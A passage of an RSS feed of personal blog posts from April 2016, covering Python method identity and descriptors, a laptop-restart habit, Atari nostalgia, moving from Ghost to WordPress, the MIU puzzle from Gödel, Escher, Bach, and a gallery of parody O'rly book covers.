&gt;&gt;&gt; A.b

&gt;&gt;&gt; hex(id(A.b))
'0x101b75158'
&gt;&gt;&gt; hex(id(A.b))
'0x101b75158'
```

As expected! The memory locations (as given by `id`) in Python 2 are different, causing the identity check to fail. Not so in `3`. So far so good. But why do we get `unbound method` on one end and `function` on another? How are these objects even stored internally? In most cases, Python uses a dictionary, accessible under `__dict__` to store the local variables, or _namespace_ of an object (Note that not all objects have a `__dict__`, but that is a different story). Let's look up `b` in `A`:

```python
# Python 2
&gt;&gt;&gt; A.__dict__['b']

&gt;&gt;&gt; type(A.__dict__['b'])

&gt;&gt;&gt; type(A.b)


# Python 3
&gt;&gt;&gt; A.__dict__['b']

&gt;&gt;&gt; type(A.__dict__['b'])

&gt;&gt;&gt; type(A.b)

```

Huh? In `2` we get an `instancemethod`, while `3` spits out a function, but if we check the `type` inside the enclosing `__dict__` we see they are *both functions*? How does this work? This is caused by the design of the &lt;a href="https://docs.Python.org/2/howto/descriptor.html"&gt;Descriptor Protocol&lt;/a&gt;, which defines how data in an object is reached through a series of attribute accesses. In Python 2, the protocol sets in place a `type` distinction based on _how_ the function object is accessed. In the doc, Raymond Hettinger explains:

```python
# Python 2
&gt;&gt;&gt; class D(object):
...      def f(self, x):
...           return x

&gt;&gt;&gt; d = D()
&gt;&gt;&gt; D.__dict__['f'] # Stored internally as a function

&gt;&gt;&gt; D.f             # Get from a class becomes an unbound method

&gt;&gt;&gt; d.f             # Get from an instance becomes a bound method
&lt;__main__.D object at 0x00B18C90&gt;&gt;
```

In 3, this distinction between `bound` and `unbound` doesn't exist, but strangely, the &lt;a href="https://docs.python.org/3/howto/descriptor.html"&gt;docs for Python 3&lt;/a&gt; are not up to date, so I can't tell what the underlying behavior is. The same code clearly has a different output:

```python
# Python 3
&gt;&gt;&gt; class D(object):
...     def f(self, x):
...           return x

&gt;&gt;&gt; d = D()
&gt;&gt;&gt; D.__dict__['f'] # Stored internally as a function

&gt;&gt;&gt; D.f             # Get from a class becomes an unbound method... NOT!

&gt;&gt;&gt; d.f             # Get from an instance becomes a bound method
&lt;__main__.D object at 0x10123cf28&gt;&gt;
```

Also explained in the documentation is the fact that both `bound` and `unbound` methods are backed by the same C implementation, except for the value of their `im_self` attribute, which is _NULL_ when unbound. So I am guessing that`instancemethod` is creating a new instance of the function object at runtime in `2` regardless of whether it is bound or unbound, while in `3` the instantiation only happens when `bound`, given that the `unbound`s don't exist. This would make sense, as the function must be executed each time you access it.

If that were the case, we would expect that calling `b` on an instance on A would always return a different object, regardless of which Python runtime we're on, as they are always bound:

```python
# Python 2&amp;3
&gt;&gt;&gt; a = A()
&gt;&gt;&gt; a.b is a.b
False
&gt;&gt;&gt; hex(id(a.b))
'0x1003bf988'
&gt;&gt;&gt; hex(id(a.b))
'0x1003f1448'
```

So, the reason why `A.b is A.b` in Python 3, and not Python 2 is this whole bound/unbound story. Seems like the Descriptor Protocol is responsible for this sorcery! Magic is just technology we don't understand, &lt;a href="https://en.wikipedia.org/wiki/Clarke%27s_three_laws"&gt;yet&lt;/a&gt;.

If you have more insight into the inner workings of this, I'd love to &lt;a href="/contact/"&gt;hear about it&lt;/a&gt;.

**Update (4/26/16):**
Jake VanderPlas replied to my tweet, and pointed to a 2009 &lt;a href="http://python-history.blogspot.in/2009/02/first-class-everything.html"&gt;post by Guido&lt;/a&gt; describing the behavior. Apparently, the bound/unbound distinction was introduced as a way to achieve "first-class everything," which methods didn't quite fit into. Python 3's undoing of unbound methods is just a further expression of the idea.

**Update 2 (4/29/16):**
Today I received an email from Todd Jennings, who pointed me to &lt;a href="https://bugs.python.org/issue23702"&gt;the bug&lt;/a&gt; that tracks the out-of-date documentation for Python 3. Sadly, it is marked as still waiting.

**Update 3 (8/22/16):**
After attending PyBay, Wesley Chun &lt;a href="https://twitter.com/wescpy/status/767588995727437824"&gt;pointed out&lt;/a&gt; that the definition of `A` was that of a classic 2.x class, while the rest of the article used new-style classes. Changing the class definition to inherit from object (as in, `class A(object):`) doesn't change the behavior that I describe above, for either Python 2.x or 3.x. To remain true to the original tweet, I have kept the class definition without explicit inheritance, but &lt;a href="https://stackoverflow.com/questions/4015417/python-class-inherits-object/9448136#9448136"&gt;the distinction&lt;/a&gt; is important.

&lt;hr /&gt;

*Image: "The Witch No. 1" by Baker, Joseph E. - Licensed under Public Domain, via &lt;a href="https://commons.wikimedia.org/wiki/File%3ATheWitch-no1.jpg"&gt;Wikimedia Commons&lt;/a&gt;*</description><author>Avy Faingezicht</author><pubDate>Tue, 26 Apr 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/projects/2016/04/26/python-black-magic/</guid></item><item><title>Links - April 26th, 2016</title><link>https://faingezicht.com/links/2016/04/26/links/</link><description/><author>Avy Faingezicht</author><pubDate>Tue, 26 Apr 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/04/26/links/</guid></item><item><title>Restarting my laptop every night</title><link>http://dimitarsimeonov.com/2016/04/26/restarting-my-laptop-every-night</link><description>&lt;p&gt;Starting tonight I’ll start a small personal experiment.&lt;/p&gt;

&lt;p&gt;I will restart my laptop every night about an hour before I go to bed.&lt;/p&gt;

&lt;p&gt;The first reason is to create a trigger for me to stop staring at the
screen and close the day properly. Staying at my computer keeps my
mind active and doesn’t let it relax.&lt;/p&gt;

&lt;p&gt;The second reason is to improve performance by closing apps that
aren’t needed. My work laptop is a beast, but it still quite
noticeable when only a few programs are running.&lt;/p&gt;

&lt;p&gt;The third reason is to be more stateless in my approach to computing
and general operating.  For example, I don’t want to keep things in my
brain’s working memory so I try to write everything down. I assume my
memory is going to fail which prompts me to persist my thoughts in my
notes.  I don’t &lt;em&gt;try&lt;/em&gt; to remember it all. I know I won’t so I have an
alternative which works.&lt;/p&gt;

&lt;p&gt;Similarly, I don’t want to rely on stuff that has loaded in browser
tabs. I don’t want to rely on my documents or spreadsheet app not
crashing. I can choose to save my work and file it appropriately, or I
can choose to discard it.  I would know how to find it if I need it.&lt;/p&gt;

&lt;p&gt;I wouldn’t need to keep “tabs” open, just in case.&lt;/p&gt;

&lt;p&gt;I’ve already tried to be quite proactive in saving notes, assuming
that my laptop could crash and restart at any minute, but with the
restart habit I’m hoping to take this a step further.&lt;/p&gt;

&lt;p&gt;I’ll do this for few weeks and report back.&lt;/p&gt;</description><author>D13V</author><pubDate>Tue, 26 Apr 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2016/04/26/restarting-my-laptop-every-night</guid></item><item><title>Video Game Reflections</title><link>https://jasoneckert.github.io/myblog/video-game-reflections/</link><description>&lt;p&gt;&lt;img alt="v1" src="v1.jpg#right" title="v1" /&gt;&lt;/p&gt;
&lt;h1 id="the-atari-days"&gt;The Atari days&lt;/h1&gt;
&lt;p&gt;When it came to video games growing up, my parents were fairly progressive – although they had no desire to play them, they didn’t see them as anything but fun and somewhat educational.  And in the early 80s, when home game consoles were all the rage, my parents bought us an Atari 2600 (the all-black “Darth Vader” model shown to the right) and some games.&lt;/p&gt;
&lt;p&gt;We lived in a big old house, and there was a very large, unused room upstairs (we affectionately called “the back room”) that was used as the toy/Atari room. My sister was a few years younger than I was, and didn’t have much interest in the Atari, so I was the one that played it the most.  I remember playing Berzerk on the Atari 2600 until I couldn’t keep my eyes open anymore.&lt;/p&gt;</description><author>Jason Eckert's Website and Blog</author><pubDate>Tue, 26 Apr 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://jasoneckert.github.io/myblog/video-game-reflections/</guid></item><item><title>What Needs To Change In The Lebanese Mentality</title><link>https://venam.net/blog/philosophy/2016/04/26/lebanese-mentality.html</link><description>Ten years ago we moved to Lebanon. There was a culture clash.  In this post I'll explain why some locals go on destructive paths.  We all know generalizations have the nasty effect of activating justice warriors.  My intention is not to trigger rage, generalizations are what they are, a resonance of the state of mind *we* are living in.  While everyone is not going to read this post and take value out of it I still wish for it to be a wake up call. For those awake that can't raise their voices; this is for you.</description><author>Venam's Blog — Patrick Louis (Lebanon)</author><pubDate>Mon, 25 Apr 2016 20:00:00 GMT</pubDate><guid isPermaLink="true">https://venam.net/blog/philosophy/2016/04/26/lebanese-mentality.html</guid></item><item><title>One hour hacks: Remote LUKS over SSH</title><link>https://purpleidea.com/blog/2016/04/25/one-hour-hacks-remote-luks-over-ssh/</link><description>&lt;p&gt;I have a &lt;a href="https://gnu.org/"&gt;GNU/Linux&lt;/a&gt; server which I mount a few &lt;a href="https://en.wikipedia.org/wiki/Linux_Unified_Key_Setup"&gt;LUKS&lt;/a&gt; encrypted drives on. I only ever interact with the server over SSH, and I never want to keep the LUKS credentials on the remote server. I don&amp;rsquo;t have anything especially sensitive on the drives, but I think it&amp;rsquo;s a good security practice to &lt;a href="http://www.theguardian.com/commentisfree/2013/jul/15/crux-nsa-collect-it-all"&gt;encrypt it all&lt;/a&gt;, if only to add noise into the system and for solidarity with &lt;a href="https://en.wikipedia.org/wiki/Whistleblower"&gt;those&lt;/a&gt; who harbour much more sensitive data.&lt;/p&gt;</description><author>The Technical Blog of James on purpleidea.com</author><pubDate>Mon, 25 Apr 2016 16:46:53 GMT</pubDate><guid isPermaLink="true">https://purpleidea.com/blog/2016/04/25/one-hour-hacks-remote-luks-over-ssh/</guid></item><item><title>Silicon Valley: Season 3</title><link>https://olshansky.info/tv/silicon_valley_season_3/</link><description>Olshansky's review of Silicon Valley: Season 3</description><author>🦉 olshansky 🦁</author><pubDate>Mon, 25 Apr 2016 05:02:17 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/silicon_valley_season_3/</guid></item><item><title>Links - April 25th, 2016</title><link>https://faingezicht.com/links/2016/04/25/links/</link><description/><author>Avy Faingezicht</author><pubDate>Mon, 25 Apr 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/04/25/links/</guid></item><item><title>3 Reasons why I gave up the Ghost</title><link>https://benovermyer.com/blog/2016/04/3-reasons-why-i-gave-up-the-ghost/</link><description>&lt;p&gt;This's about why I quit paying $10/month for a hosted Ghost blog and migrated everything back to a self-hosted WordPress blog. It wasn't easy, and I lost all images in the process, but here's why I made that leap.&lt;/p&gt;
&lt;h1 id="getting-my-finances-in-order"&gt;Getting my finances in order&lt;/h1&gt;
&lt;p&gt;$10.00 USD per month isn't much for someone in my socioeconomic class. It covers two deluxe lattés. However, I recently got hit with the Hammer of Reality, and I'm culling all unnecessary expenses. My definition of "unnecessary" got a big revision. As someone who makes roughly six figures a year, I can afford to spend money on things that have no real bearing on my happiness but satisfy temporary impulses. But I don't want to do that anymore. My family (id est, my dad) has always done that, and I inherited that behavior. But I'm not cool with it anymore. Not when over 30% of my take-home income is spent on debt. So, with &lt;a href="http://www.daveramsey.com/get-started/debt" rel="external"&gt;the teachings of Dave Ramsey&lt;/a&gt; once again firmly in my mind, and the experience of life recently burned in there, I'm improving the efficiency of my expenses. In this case, that means self-hosting my blog, since I already pay for a &lt;a href="https://www.digitalocean.com/" rel="external"&gt;Digital Ocean droplet&lt;/a&gt; to host other sites I manage.&lt;/p&gt;
&lt;h1 id="wordpress-is-more-mature"&gt;WordPress is more mature&lt;/h1&gt;
&lt;p&gt;Over the past year, not much has changed with Ghost. It's still the same basic Markdown-based blog engine that it was two years ago. Its market share (and, more importantly, developer mind share) has not significantly increased. By comparison, WordPress has seen thousands of new plugins, hundreds of new themes, and unmeasurable numbers of code contributions to plugins, themes, and WordPress core over the same time period. I could hate WordPress. It's written in PHP and follows code practices that are a decade out of date. However, I must recognize the stability of the platform, and the passion and strength of its community. There are a number of people much smarter and more experienced than myself who've made significant contributions to WordPress just over the past year. When it comes to maintaining a system on your own, the predictability and resilience of that system are very important metrics to consider.&lt;/p&gt;
&lt;h1 id="i-am-in-full-control-of-my-content"&gt;I am in full control of my content&lt;/h1&gt;
&lt;p&gt;This is not really so much a dig on Ghost as it is a dig on self-hosting versus hosted blogs. My reason for going with a self-hosted WordPress blog is the same reason I discounted going with WordPress.com hosting. I run the database behind the blog. I am in full control of every byte stored there. Whether it's backed up or not, where it's backed up, how it's backed up, that's all in my realm of control. I determine the version of PHP, the version of MySQL, and the version of Linux that hosts it all. I alone control access to the server, and how incoming (and outgoing) connections are treated. As someone who's spent the last year and a half as a site reliability engineer/manager, that has suddenly become of vital concern to me. And renting a VPS (Virtual Private Server) is much different than trusting someone else to manage your environment for you. The next step up, fully controlling the environment from bare metal on up, is too expensive for someone like me to handle on my own.&lt;/p&gt;
&lt;h1 id="so-to-sum-up-or-tl-dr"&gt;So, to sum up (or TL/DR)...&lt;/h1&gt;
&lt;p&gt;I changed back to self-hosted WordPress from Ghost because A) I spend less money, B) I believe that WordPress is more likely to be supported in the future, and C) I like being able to control (almost) every aspect of how my blog exists.&lt;/p&gt;</description><author>Ben Overmyer's Site</author><pubDate>Mon, 25 Apr 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://benovermyer.com/blog/2016/04/3-reasons-why-i-gave-up-the-ghost/</guid></item><item><title>More Mission</title><link>https://faingezicht.com/photos/2016/04/24/more/</link><description/><author>Avy Faingezicht</author><pubDate>Sun, 24 Apr 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/photos/2016/04/24/more/</guid></item><item><title>The MIU formal system</title><link>https://nutcroft.mataroa.blog/blog/the-miu-formal-system/</link><description>&lt;p&gt;When I started my undergraduate studies on Computer Science I was very enthusiastic about the theoretical foundations I was about to learn. In this quest, I googled “best computer science books”. This will get you most of the CS classic and among them, you will find &lt;em&gt;&lt;a href="https://en.wikipedia.org/wiki/G%C3%B6del,_Escher,_Bach"&gt;Gödel, Escher, Bach: An Eternal Golden Braid&lt;/a&gt;&lt;/em&gt;, a quite peculiar book.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Gödel, Escher, Bach: An Eternal Golden Braid&lt;/em&gt; (GEB from here on) started as a treatise on the proof of Gödel’s &lt;a href="https://en.wikipedia.org/wiki/G%C3%B6del%27s_incompleteness_theorems#First_incompleteness_theorem"&gt;Incompleteness Theorems&lt;/a&gt;, two of the most disruptive theorems in the field of Mathematics.&lt;/p&gt;
&lt;p&gt;The first one, states that in a &lt;em&gt;formal system&lt;/em&gt; [like Maths] there exist truths that can never be proved.&lt;/p&gt;
&lt;p&gt;Your response may be “whatever” but try to think it in the following visualization. Imagine Maths as a graph, with each node as a theorem.&lt;/p&gt;
&lt;p&gt;Mathematicians started out with the obvious truths. Theorems that are well-established and obvious are called axioms. For instance, an example axiom: &lt;em&gt;It is possible to draw a straight line from any point to any other point&lt;/em&gt; from Euclid’s &lt;em&gt;Elements&lt;/em&gt;. So, using these nodes (aka theorems), mathematicians advanced these axioms’ consequences to get to their adjacent nodes. Continuing this way, more and more theories were created, more and more theorems were discovered.&lt;/p&gt;
&lt;p&gt;So, what the First Incompleteness Theorem says is that there are nodes, that do exist, but you can never reach out to them using the consequences of their adjacent nodes. Only by pure luck can you discover them. This is amazing. I always considered Maths to be distinctly systematic knowledge, but this completely disproves it.&lt;/p&gt;
&lt;p&gt;The second theorem takes one step further. It states that if in a formal system [like Maths] there is a statement which proves its own consistency, then this system is inconsistent. This essentially seals what the first theorem claimed. It's like claiming that you &lt;em&gt;always&lt;/em&gt; lie. If you do, then the statement "I always lie" would be a lie itself. Paradox.&lt;/p&gt;
&lt;p&gt;Douglas Hofstadter was also astonished by not only the theorems themselves, but also by the incredible proofs that Gödel provided. Thus, he started a treatise on that proof. However, Hofstadter thanks to his polymath personality discovered that the ideas underlying Gödel’s proof, apart from our mind, could also be perceived by our eyes and ears. He presents this to us through the works of Johann Sebastian Bach and M. C. Escher respectively.&lt;/p&gt;
&lt;p&gt;In this journey, he elaborates on many topics. One of them is formal systems and in this realm, he presents a puzzle, the infamous MU puzzle.&lt;/p&gt;
&lt;h2 id="the-mu-puzzle"&gt;The MU Puzzle&lt;/h2&gt;
&lt;p&gt;Let us assume a formal language MIU. Its alphabet is three letters: &lt;code&gt;M&lt;/code&gt;, &lt;code&gt;I&lt;/code&gt; and &lt;code&gt;U&lt;/code&gt;. The starting string is &lt;code&gt;MI&lt;/code&gt;. Its production rules are:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;If you possess a string whose last letter is &lt;code&gt;I&lt;/code&gt;, you can add on a &lt;code&gt;U&lt;/code&gt; at the end. For example, since you start with &lt;code&gt;MI&lt;/code&gt;, you can go to &lt;code&gt;MIU&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Suppose you have Mx. Then you may add Mxx to your collection. e.g.: &lt;code&gt;MIU -&amp;gt; MIUIU&lt;/code&gt; or &lt;code&gt;MUM -&amp;gt; MUMUM&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If &lt;code&gt;III&lt;/code&gt; occurs in one of the strings in your collection, you can make a new string with &lt;code&gt;U&lt;/code&gt; in place of &lt;code&gt;III&lt;/code&gt;. e.g.: &lt;code&gt;UMIIIMU -&amp;gt; UMUMU&lt;/code&gt; or &lt;code&gt;MIIII -&amp;gt; MIU&lt;/code&gt; (or &lt;code&gt;MUI&lt;/code&gt;).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If &lt;code&gt;UU&lt;/code&gt; occurs inside one of your strings, you can drop it. e.g.: &lt;code&gt;UUU -&amp;gt; U&lt;/code&gt; or &lt;code&gt;MUUUIII -&amp;gt; MUIII&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The challenge is to produce the string &lt;code&gt;MU&lt;/code&gt;, or prove it cannot be produced.&lt;/p&gt;
&lt;p&gt;Nota bene: These are one-way rules. In addition, sometimes, more than one rules may be valid to be applied; in this case, you have to pick the best fitting one in order to reach the desired string, &lt;code&gt;MU&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;These theories, namely formal systems, grammars, languages, inference rules, etc, belong to the domain of &lt;a href="https://en.wikipedia.org/wiki/Theory_of_computation"&gt;Computation Theory&lt;/a&gt;. It’s a very interesting, though deeply theoretical domain of Mathematics and Computer Science.&lt;/p&gt;</description><author>nutcroft</author><pubDate>Sat, 23 Apr 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://nutcroft.mataroa.blog/blog/the-miu-formal-system/</guid></item><item><title>Bored vs distracted</title><link>http://dimitarsimeonov.com/2016/04/23/bored-vs-distracted</link><description>&lt;p&gt;It might be good to feel bored. The bored mind is
seeking.  Now, there is a difference between bored and distracted. The
distracted mind feels overwhelmed.&lt;/p&gt;

&lt;p&gt;When I am distracted, there are too many stimuli. I might get
distracted by my phone or think about the movie I watched last
night. Being distracted means that I’ve surrendered control of my
thoughts to external prompts. I might have decided to dedicate my time
to certain activity, but my mind is not there. I feel anxious. I might
be thinking about the meeting I need to hurry for. Or about getting a
certain project done. Or about news. I can never detach from the
parasite thought, it distracts me from whatever I do. I’m neither
effective, not efficient at what I’m doing.&lt;/p&gt;

&lt;p&gt;When I feel bored, my mind is free of stimuli. There is nothing
interesting, so I need to make my own interesting stuff. Often this
isn’t hard. I might perceive beautiful nature, or I might be pondering
on existential questions. Pondering prompts creativity. What I do to
keep me entertained might not be the greatest invention, but I’m
certain that it will be dear to me. Good or bad, it will be my
own. And that’s an end of itself.&lt;/p&gt;

&lt;p&gt;Unfortunately, I haven’t gotten bored for a while. I’ve been busy. It
feels impossible to get bored when I’m busy. I’ve fallen in a trap,
called “always-busy”. I’ve got work, I’ve got personal life, I have
hobbies and chores to tend to.&lt;/p&gt;

&lt;p&gt;I’ve been curbing distractions. I haven’t made enough free time to get
bored. Yet. I’m still in a withdrawal from distractions. And looking
forward to getting bored again.&lt;/p&gt;</description><author>D13V</author><pubDate>Sat, 23 Apr 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2016/04/23/bored-vs-distracted</guid></item><item><title>Creating a Go module</title><link>https://www.danielcorin.com/posts/2016/2016-04-22-first-go-module/</link><description>Creating a Go module</description><author>Thought Eddies</author><pubDate>Fri, 22 Apr 2016 12:40:00 GMT</pubDate><guid isPermaLink="true">https://www.danielcorin.com/posts/2016/2016-04-22-first-go-module/</guid></item><item><title>A Collection of O'rly book Covers</title><link>https://boyter.org/2016/04/collection-orly-book-covers/</link><description>&lt;p&gt;A quick collection of all the fake Orly book covers I find around on the internet.&lt;/p&gt;
&lt;p&gt;I am seriously considering writing content for the &amp;ldquo;Expert Excuses for Not Writing Unit Tests&amp;rdquo; one.&lt;/p&gt;
&lt;p&gt;EDIT - I actually did write content and publish it as a book! &lt;a href="https://leanpub.com/expertexcusesfornotwritingunittests"&gt;Expert Excuses for Not Writing Unit Tests&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="Book Cover" src="https://boyter.org/static/books/Cj0Up_hUUAAn8-g.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/ChnulxvW0AEUs1J.jpg-large.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/Cn1rWcbWcAAgsCA.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/Cg0x8vnXEAEB2Le.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/ChsfXudXAAA__sz.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/Co3D6-xWEAA8eYW.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/Co8UV3xWgAALxmN.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/Cp03W2QWAAAMuMK.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/Cp6WqQdWAAEpvFt.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/CphhR1GW8AAeOkg.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/CprNb0PWEAAFS3F.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/CpvvUyXW8AQgO1K.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/CpWvVOoW8AAjYmB.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/CmDdopVXIAAujQK.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/CmIDaoVXEAA2y7g.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/CmtLI0GWYAAGavB.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/CnDD1t0XgAQMXJA.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/CnrAQj8XYAAVYB2.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/Cf7eHZ1W4AEeZJA.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/Cfdj5HCWIAAAzFU.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/Cfh9oRrXIAAiA2Y.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/CfNJTAHWAAAik5I.png" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/CfSQdwUW8AErog1.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/CfxJxUzWQAAs0nw.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/CfYA-8BXEAAtz2k.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/Cg-zWsMWwAEJ-Zn.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/CgbR1wkXEAAMjqP.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/CgGkN6YVAAAZ3_1.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/CgkllENU0AI0tQK.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/CgQNvaIWQAQ_dGk.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/CgVtA2IWQAAWBrd.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/Ch8KJiEWsAA9hY-.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/ChdhDa5XEAAK36t.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/ChDzLqTWUAA2jtr.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/ChinzjeWgAAeS2x.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/ChJzv9lUYAA9D5E.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/ChN6FVeWwAAwP_z.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/ChnManpWwAANzGq.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/ChUn34OU0AAQkvf.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/CiBRPWPXEAAsXM8.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/CiHHf9-UYAA6aVB.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/CilkrypWEAArFfo.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/CiQ0haFWgAARgpx.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/Cjyp4gAWgAAVxZo.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/CkNF9qtWUAAO3D_.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/Cllb9urWMAAKaz4.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/Crrj1blWYAAkNN_.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/CtVNivsWgAAKhKA.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/pRDPMx2.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/OD3hWSR.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/CxzX0scXUAA21uo.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/CyDDghxUcAAqrNx.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/C1_sRq9XgAADMzY.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/C1hNdR9XUAEtlmP.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/C1QCiNuUoAAYESs.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/C3cX4w5VcAENYA7.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/C3d7VlsUcAE4Vkh.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/Cr7mS_OWcAA7Hzt.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/download.png" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/C59ScRHVMAA5nin.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/Image-uploaded-from-iOS.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/C8lePKsXcAAt5Fc.jpg-large.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/a0f278b167ec23c35fe091f38096571a.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/DVfL0c-VoAEFs1R.jpg-large.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/another.png" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/rust1.png" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/rust2.png" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/waf.png" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/new1.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/new2.jpg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/new3.png" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/new4.jpeg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/new5.png" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/containers.jpg" /&gt;
&lt;img alt="Infinidash Book Cover" src="https://boyter.org/static/books/infinidash.png" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/1.jpeg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/2.png" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/3.jpeg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/4.png" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/5.png" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/6.jpeg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/11532f7a4fc4de43b864d8b85a433294.gif" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/1a3abd00b73f0f17288a4e70c3b7bfaf.jpeg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/1ade592a58b959311c458696cbc7369d.png" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/1b5d04eb0c26541260e53e7abb4a489c.jpeg" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/277a0f2733bc01ec7710a51faca1de31-2.png" /&gt;
&lt;img alt="Book Cover" src="https://boyter.org/static/books/28abe64b81f7561535be220824fa8103.jpeg" /&gt;
